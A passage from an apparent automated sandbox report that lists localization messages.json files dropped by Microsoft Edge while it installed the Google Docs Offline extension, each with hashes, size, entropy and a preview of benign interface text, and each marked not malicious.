SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
